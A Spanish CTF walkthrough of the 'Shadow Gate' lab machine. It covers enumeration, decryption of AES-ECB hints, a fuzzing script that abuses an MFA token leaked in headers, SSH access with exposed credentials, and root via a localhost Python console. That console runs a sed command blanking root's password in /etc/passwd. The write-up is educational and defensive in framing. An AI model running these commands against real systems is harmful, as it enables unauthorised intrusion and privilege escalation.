Volver a la bitácora
Laboratorio The Hackers Labs

Shadow Gate: señales ocultas, activación remota y una consola local ejecutándose como root

Laboratorio de ciberseguridad creado para The Hackers Labs: Autor: Oscar | Senior Platform Engineer / SRE Dificultad: avanzado | SO: Linux.

14 mar 2026 10 min

Shadow Gate: señales ocultas, activación remota y una consola local ejecutándose como root

Autor: Oscar | Senior Platform Engineer / SRE
Dificultad: avanzado | SO: Linux


Sobre este CTF

Shadow Gate es una máquina que diseñé para construir una cadena de compromiso menos evidente que en otros laboratorios, pero basada igualmente en errores reales: servicios opacos expuestos, pistas distribuidas entre protocolos distintos, lógica de validación mal conectada y una superficie local privilegiada que nunca debió existir.

No es una máquina de fuerza bruta directa ni de vulnerabilidad única. Aquí la clave está en correlacionar señales: un servicio que responde con ruido cifrado, un login web con cabeceras útiles, una verificación secundaria escondida y, finalmente, un servicio interno ejecutando código Python como root.

En esta entrada muestro la resolución completa, desde la enumeración inicial hasta la obtención de root, explicando qué representa cada fase y por qué esta clase de errores encadenados sí tiene sentido fuera del laboratorio.


Información técnica

CampoValor
NombreShadow Gate
IP objetivo192.168.56.20
ServiciosSSH (22), HTTP (8080), servicio custom (56789)
Vectores principalesservicio custom con pistas cifradas → usuario oculto → token MFA expuesto en cabeceras → endpoint oculto de verificación → credenciales SSH → servicio local Python como root
Dificultadavanzado

Reconocimiento

Escaneo inicial de puertos

Comenzamos con un escaneo completo para identificar la superficie expuesta de la máquina:

nmap -p- --open --min-rate 5000 -sS -Pn -n -vvv 192.168.56.20 -oG allPorts

Este escaneo nos deja tres puertos abiertos:

  • 22/tcp
  • 8080/tcp
  • 56789/tcp

Para trabajar más cómodo con esos puertos, utilizamos extractPorts y lanzamos un segundo escaneo más detallado:

extractPorts allPorts
nmap -p22,8080,56789 -sCV 192.168.56.20 -oN targeted

Resultado:

# Nmap 7.95 scan initiated Sun May  4 18:41:52 2025 as: nmap -p22,8080,56789 -sVC -oN targeted 192.168.56.20
Nmap scan report for 192.168.56.20
Host is up (0.00056s latency).

PORT      STATE SERVICE    VERSION
22/tcp    open  ssh        OpenSSH 9.6p1 Ubuntu 3ubuntu13.11 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 84:05:fe:ed:47:16:ab:28:70:0f:44:6e:f6:8d:0c:6f (ECDSA)
|_  256 99:a9:88:76:ee:c8:ed:ce:73:57:2a:22:da:9f:7b:7e (ED25519)
8080/tcp  open  http       Werkzeug httpd 3.1.3 (Python 3.12.3)
|_http-title: 403 Forbidden
|_http-server-header: Werkzeug/3.1.3 Python/3.12.3
56789/tcp open  tcpwrapped
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Análisis inicial

La enumeración ya deja una topología interesante:

  • SSH como posible vía de acceso final
  • HTTP en 8080 servido por Werkzeug, lo que apunta a una aplicación Python
  • un servicio custom en 56789 que no se deja identificar por Nmap

El servicio más llamativo no es el HTTP, sino el puerto 56789. Cuando aparece algo no estándar junto a una app Python y un SSH abierto, suele haber una lógica de aplicación que conviene entender antes de tocar autenticación.


Puerto 56789 — análisis del servicio custom

Al conectarnos con nc al puerto 56789, vemos este comportamiento:

nc 192.168.56.20 56789

Respuesta:

Shadow Gate v1.0 :: Not all doors are locked. Some wait for n0cturne. Listen closely—patterns hide in the noise. Sequence always matters.
test
Access denied. The gate remains closed.

El propio banner da una pista clara: n0cturne.

Al enviar esa cadena, la respuesta cambia:

nc 192.168.56.20 56789
Shadow Gate v1.0 :: Not all doors are locked. Some wait for n0cturne. Listen closely—patterns hide in the noise. Sequence always matters.
n0cturne
Shadow Gate v1.0 :: Not all doors are locked. Some wait for n0cturne. Listen closely—patterns hide in the noise. Sequence always matters.
YzRmN2QzNQ==
uxomFV7/fmbRfAoERH2aZw==
DcCeEH1OYei2Z71qrlUjcQ==
I7PX9ss8Uv/DM65hrTSeag==
eJIKMZKxGdG5CcxaldniOQ==
2+YfOPg2aynwZ35B4Tchsg==
ekD25jhdn3vEk4XFYd4Dow==
huSBj8DuKJ7qWxnXEreydg==
EiGroMLlb+DQKjSHJF9ZkA==
Connection closing...

Descifrado de las cadenas

Al decodificar la primera cadena en Base64 obtenemos:

echo 'YzRmN2QzNQ==' | base64 -d; echo

Resultado:

c4f7d35

Ese valor permanece constante entre conexiones, mientras que el resto de bloques cambia cada vez. A partir de ahí, la hipótesis razonable es esta:

  • la primera cadena actúa como clave base
  • el resto son bloques cifrados
  • no se proporciona IV, por lo que el modo más probable es ECB

Con esa idea se construyó un pequeño script en Python para descifrar los bloques y extraer la primera letra de cada resultado, ya que esa era la única posición que permanecía estable entre distintas ejecuciones.

from Crypto.Cipher import AES
from hashlib import sha256
import base64

clave = 'c4f7d35'
textos = [
    'gyIc8gd8jUQ7C/7iFk6ycQ==',
    'ZkaZD0jZIiDoS1qB44JCDA==',
    'Fd3JYtkRfUxTvqncZCK1sA==',
    'YXxxMKrF//kaZv92uG7zSQ==',
    'jboxYrPZFgkz3kQ7P4buyA==',
    'dhCRqabHpQ/WliKGAOsMDA==',
    'TcGPQlI38MakzfGihxFmBA==',
    'P7O2L3uFjeJiLdMJA9/QYg=='
]

def decrypt_text(text):
    clave_sha = sha256(clave.encode()).digest()
    c = AES.new(clave_sha, AES.MODE_ECB)
    b = base64.b64decode(text.encode())
    f = c.decrypt(b)
    f = f.decode()
    for l in f:
        print(l, end="")
        break

for text in textos:
    decrypt_text(text)

print("\n", end="")

Salida:

v4u1tgx9

Ese valor parece un usuario, pero todavía no sirve directamente al enviarlo al mismo puerto 56789. Eso indica que la secuencia del reto no termina ahí y que la siguiente pieza probablemente esté en el servicio web.

Comentario

Este primer tramo de la máquina enseña algo importante: no toda pista útil sirve en el mismo sitio donde se obtiene. A veces un servicio no entrega la solución, sino una credencial parcial o un identificador que cobra sentido en otra capa del sistema.

Aquí el error no es solo criptográfico. Es también de diseño: se distribuyen secretos operativos entre servicios que deberían estar aislados entre sí.


Puerto 8080 — exploración web

El servicio HTTP en 8080 devuelve 403 sobre la raíz, así que pasamos directamente a fuzzing de rutas:

feroxbuster -u "http://192.168.56.20:8080/" -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -n --no-state

Resultado relevante:

404      GET        5l       31w      207c http://192.168.56.20:8080/
200      GET        1l        7w       39c http://192.168.56.20:8080/login

Localizamos una ruta clara:

  • /login

Con el valor obtenido del puerto 56789, probamos autenticación:

curl -s -X POST 'http://192.168.56.20:8080/login' -d "username=v4u1tgx9" -d "password="

Respuesta:

Token dispatched. You just have to look... sideways.

Revisión de cabeceras

Ese mensaje ya sugiere que la información útil no está en el cuerpo, sino “de lado”, es decir, en las cabeceras HTTP.

Respuesta sin login válido

HTTP/1.0 200 OK
Server: Werkzeug/3.1.3 Python/3.12.3
Date: Sun, 04 May 2025 22:40:58 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 33
X-Shadow-Clue: wrHCp8O4wrXCtsOlw5/Dvg==
Connection: close

Username rejected. Access denied.

Respuesta con login aceptado

HTTP/1.0 200 OK
Server: Werkzeug/3.1.3 Python/3.12.3
Date: Sun, 04 May 2025 22:41:28 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 52
X-Shadow-Clue: wrHCp8O4wrXCtsOlw5/Dvg==
X-Shadow-MFA: 382592
Connection: close

Token dispatched. You just have to look... sideways.

Análisis

Aquí la aplicación hace dos cosas mal:

  • revela un flujo de MFA por cabecera en lugar de tratarlo de forma segura
  • deja claro cuándo un usuario es válido y cuándo no

Eso ya nos da dos piezas críticas:

  • el usuario v4u1tgx9
  • un token MFA devuelto directamente en una cabecera HTTP

La cuestión es encontrar dónde usar ese token.


Búsqueda del endpoint de validación

Como casi todas las rutas respondían con 403, el fuzzing clásico no resultaba cómodo. Para resolverlo se creó un script que:

  1. obtiene automáticamente el token desde /login
  2. recorre un diccionario de rutas
  3. envía username y token por POST
  4. detecta qué ruta deja de responder con 403
import requests
import sys

username = 'v4u1tgx9'

def main(token):
    try:
        with open(sys.argv[1], "r") as w:
            for path in w:
                if 'login' in path:
                    path += 'aaaaa'
                path = path.strip()
                main_url = f"http://192.168.56.20:8080/{path}"
                data = {
                    "username": f"{username}",
                    "token": f"{token}"
                }
                r = requests.post(main_url, data=data)
                if r.status_code != 403:
                    print(f"Path encontrado: {path}\n\nResponse:")
                    print(r.text)
    except KeyboardInterrupt:
        print("\n\n[!] Saliendo...")
        sys.exit(1)

def token():
    main_url = 'http://192.168.56.20:8080/login'
    data = {
        "username": "v4u1tgx9",
        "password": ""
    }
    r = requests.post(main_url, data=data)
    token = r.headers['X-Shadow-MFA']
    return token

if __name__ == '__main__':
    token = token()
    main(token)

Ejecución:

python3 fuzz.py /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt

Resultado:

Path encontrado: verify

Response:
Acceso concedido. Servicio activo.

Comentario

El detalle importante no es solo encontrar /verify, sino entender lo que hace: activa algo.

La aplicación no estaba validando MFA como un simple paso de acceso. Estaba habilitando un servicio adicional del sistema. Eso es bastante más grave y bastante más interesante desde el punto de vista del diseño inseguro.


Activación del servicio y acceso inicial

Una vez ejecutado el flujo correcto, volvemos al puerto 56789 y la respuesta ya no es la misma:

nc 192.168.56.20 56789

Salida:

Shadow Gate v1.0 :: Not all doors are locked. Some wait for n0cturne. Listen closely—patterns hide in the noise. Sequence always matters.
Shadow Gate v1.0 :: Not all doors are locked. Some wait for n0cturne. Listen closely—patterns hide in the noise. Sequence always matters.
SSH login for user mars
mars:sshpassword123
Connection closing...

Con esas credenciales ya podemos acceder por SSH:

ssh mars@192.168.56.20

Una vez dentro, confirmamos acceso y leemos la flag de usuario:

cat user.txt

Análisis

La cadena completa hasta aquí es muy buena desde el punto de vista defensivo:

  • un servicio custom filtra un usuario
  • la web devuelve un token MFA por cabecera
  • el endpoint de verificación activa un backend adicional
  • el backend adicional termina revelando credenciales SSH en claro

Es justo el tipo de integración rota que no parece crítica hasta que alguien entiende la relación entre piezas.


Escalada de privilegios

Detección del servicio interno

Desde la sesión SSH como mars, revisamos puertos escuchando localmente:

ss -tulun

Resultado relevante:

tcp   LISTEN   0   5   127.0.0.1:4444   0.0.0.0:*

Eso sugiere un servicio accesible solo en loopback. Al conectarnos con nc vemos esto:

nc 127.0.0.1 4444

Respuesta:

Welcome to Shadow Client Helper
This is an unrestricted environment. Good luck, hacker.
>>> 

Ese prompt recuerda claramente al intérprete de Python. Para compararlo, abrimos una consola Python local:

python3

La apariencia es prácticamente idéntica.

Confirmación de ejecución como root

Probamos a ejecutar código Python simple a través del servicio local:

import os
os.system("id > /tmp/id")

Y después comprobamos el resultado:

cat /tmp/id

Salida:

uid=0(root) gid=0(root) groups=0(root)

Eso confirma el fallo crítico: el servicio local en 127.0.0.1:4444 está ejecutando código arbitrario como root.

Obtención de root

Con esa capacidad ya no hace falta nada sofisticado. Basta con modificar /etc/passwd para dejar la cuenta root sin contraseña:

import os
os.system("sed 's/root:x:/root::/g' -i /etc/passwd")

Después, cambiamos de usuario:

su

Resultado:

root@TheHackersLabs-Shadowgate:/home/mars#

Y ya como root, leemos la flag final:

cat root.txt

Comentario

El fallo final es gravísimo y muy claro: una consola accesible por loopback, sin restricciones reales y ejecutando como root.

No importa que el servicio no estuviera expuesto externamente. En cuanto un atacante consigue acceso al sistema como usuario normal, ese helper local se convierte en un camino directo a privilegios completos.

Este es exactamente el tipo de error que muchas veces se minusvalora porque “solo escucha en localhost”. Y precisamente por eso resulta tan útil enseñarlo.


Notas del autor

Shadow Gate está diseñada para enseñar una cadena donde el problema no es una única vulnerabilidad, sino la relación entre varios fallos de diseño:

VectorLo que enseñaError real representado
puerto custom con pistas cifradasexposición de lógica sensibleservicios internos convertidos en acertijos inseguros
valor v4u1tgx9 reutilizado en webcorrelación entre capassecretos operativos compartidos entre servicios
token MFA en cabecerafiltrado de autenticaciónimplementación insegura de pasos de validación
endpoint /verifyactivación de backend por flujo weblógica de negocio mal conectada con servicios internos
credenciales SSH reveladas tras la activaciónexposición de secretos en clarobackends auxiliares que entregan información crítica
helper local en 127.0.0.1:4444confianza excesiva en localhostservicios privilegiados sin aislamiento real
ejecución de Python como rootcompromiso total del hostherramientas internas capaces de ejecutar código arbitrario

Lo importante de esta máquina no es solo llegar a root. Lo importante es entender cómo una serie de decisiones aparentemente inconexas termina abriendo una cadena completa de acceso, activación y escalada.


Recursos y referencias